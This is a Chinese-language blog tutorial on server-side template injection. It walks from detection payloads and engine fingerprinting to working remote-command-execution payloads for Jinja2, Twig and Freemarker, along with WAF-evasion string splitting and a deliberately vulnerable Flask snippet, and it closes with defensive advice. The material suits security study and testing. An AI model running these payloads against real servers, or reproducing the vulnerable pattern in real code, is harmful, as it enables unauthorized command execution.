SSTI 服务端模板注入:从探测到 RCE 的完整利用流程

服务端模板注入(Server-Side Template Injection,SSTI)是近年来在 Web 安全领域备受关注的高危漏洞类型。当用户输入被直接拼接进模板引擎的渲染流程中,攻击者便可能通过精心构造的模板语法,从简单的信息泄露一路推进到远程代码执行(RCE)。本文将从漏洞原理出发,系统梳理从探测到利用的完整流程。

一、SSTI 的本质:用户输入与模板引擎的危险交汇

现代 Web 应用广泛使用模板引擎(如 Jinja2、Twig、Freemarker、Velocity、Smarty 等)来分离业务逻辑与页面展示。模板引擎的核心能力是“在静态模板中嵌入动态表达式”,例如 Jinja2 中的 {{ user.name }}

问题出在开发人员错误地将用户可控输入当作模板内容来渲染,而非作为数据传入模板。典型的不安全写法如下:

from flask import Flask, request, render_template_string
app = Flask(__name__)

@app.route('/greet')
def greet():
    name = request.args.get('name', '')
    return render_template_string('Hello ' + name + '!')

name 传入 {{7*7}} 时,页面返回 Hello 49!——这意味着表达式被引擎执行了。此时,SSTI 漏洞已经存在。

二、第一步:探测与识别

2.1 确定注入点

SSTI 常见于以下场景:

  • URL 参数直接回显在页面中;
  • 用户昵称、个人简介等资料字段被模板渲染;
  • 邮件模板、PDF 生成、报表导出等功能;
  • 错误页面中回显用户输入。

2.2 数学表达式探测

最基础的探测方式是提交数学运算 payload:

{{7*7}}      → 49(Jinja2、Twig 等)
${7*7}       → 49(Freemarker、Velocity)
<%= 7*7 %>   → 49(ERB)
#{7*7}       → 49(Ruby 部分场景)
*{7*7}       → 49(部分 Thymeleaf 场景)

如果返回 49,基本可以确认存在 SSTI;如果原样返回 {{7*7}},则说明输入被当作纯文本处理。

2.3 识别模板引擎

不同引擎的语法差异是识别关键。经典判断链如下:

{{7*'7'}}
  • Jinja2 返回 7777777(字符串重复);
  • Twig 返回 49(数值运算);
  • {{7*7}} 有效但 {{7*'7'}} 报错,则可能是 Nunjucks 或其它引擎。

此外,还可以通过报错信息、特殊变量(如 {{config}}{{self}}${.version})进一步确认引擎类型与版本。

三、第二步:信息收集与上下文逃逸

确认引擎后,下一步是收集运行时信息,寻找逃逸沙箱的路径。

3.1 Jinja2 环境探测

{{config}}                    # 查看 Flask 配置
{{self.__class__}}            # 获取类信息
{{''.__class__.__mro__}}      # 查看方法解析顺序
{{request}}                   # 获取请求对象
{{config.__class__.__init__.__globals__}}  # 获取全局命名空间

__globals__ 中往往包含 ossyssubprocess 等模块,是通往 RCE 的关键跳板。

3.2 常见逃逸链

以 Jinja2 为例,经典 RCE 链:

{{''.__class__.__mro__[1].__subclasses__()}}

该表达式列出所有已加载的子类。找到 subprocess.Popenos._wrap_close 后,即可调用系统命令:

{{''.__class__.__mro__[1].__subclasses__()[X]('id', shell=True, stdout=-1).communicate()}}

更简洁的写法利用 cyclerlipsum 等内置对象:

{{cycler.__init__.__globals__.os.popen('id').read()}}
{{lipsum.__globals__['os'].popen('whoami').read()}}

3.3 Twig 的利用路径

Twig 中常用 _self 环境变量:

{{_self.env.registerUndefinedFilterCallback("exec")}}
{{_self.env.getFilter("id")}}

或利用 filtermap 等函数:

{{['id']|filter('system')}}

3.4 Freemarker 的利用

Freemarker 中可通过 Execute 工具类执行命令:

<#assign ex="freemarker.template.utility.Execute"?new()>
${ex("id")}

四、第三步:从信息泄露到 RCE

完整的利用流程可以归纳为四个阶段:

  1. 探测阶段:提交 {{7*7}} 等 payload,确认漏洞存在;
  2. 识别阶段:通过语法差异判断模板引擎类型与版本;
  3. 信息收集阶段:读取配置、环境变量、源码路径、依赖库版本;
  4. 利用阶段:构造逃逸链,调用系统命令,获取 shell 或反弹连接。

在实际渗透测试中,若目标存在 WAF,还需对 payload 进行编码、拼接、大小写混淆等绕过处理。例如:

{{''['__cl'+'ass__']['__mr'+'o__']}}
{{request['__cl'+'ass__']}}

五、防御建议

SSTI 的根源在于“将用户输入当作模板渲染”。有效的防御措施包括:

  • 禁止拼接:使用参数化模板,将用户输入作为变量传入,而非拼接到模板字符串中;
  • 沙箱渲染:启用模板引擎的沙箱模式(如 Jinja2 的 SandboxedEnvironment);
  • 输入校验:对用户输入进行白名单过滤,拒绝包含模板语法的内容;
  • 最小权限:限制应用进程的系统权限,降低 RCE 后的影响面;
  • 依赖更新:及时修补模板引擎的已知沙箱逃逸漏洞。

六、结语

SSTI 的危害在于它往往能直接突破应用层,直达操作系统层。从一行 {{7*7}} 开始,攻击者可以在数分钟内完成从探测到 RCE 的全过程。对于开发者而言,理解模板引擎的执行模型、避免危险的字符串拼接,是杜绝此类漏洞的根本;对于安全从业者而言,掌握从探测到利用的完整链条,则是评估与加固系统的必要技能。

未经允许不得转载:任鹏个人博客 » SSTI 服务端模板注入:从探测到 RCE 的完整利用流程

赞 (0) 打赏

评论 0

取消
  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

微信扫一扫打赏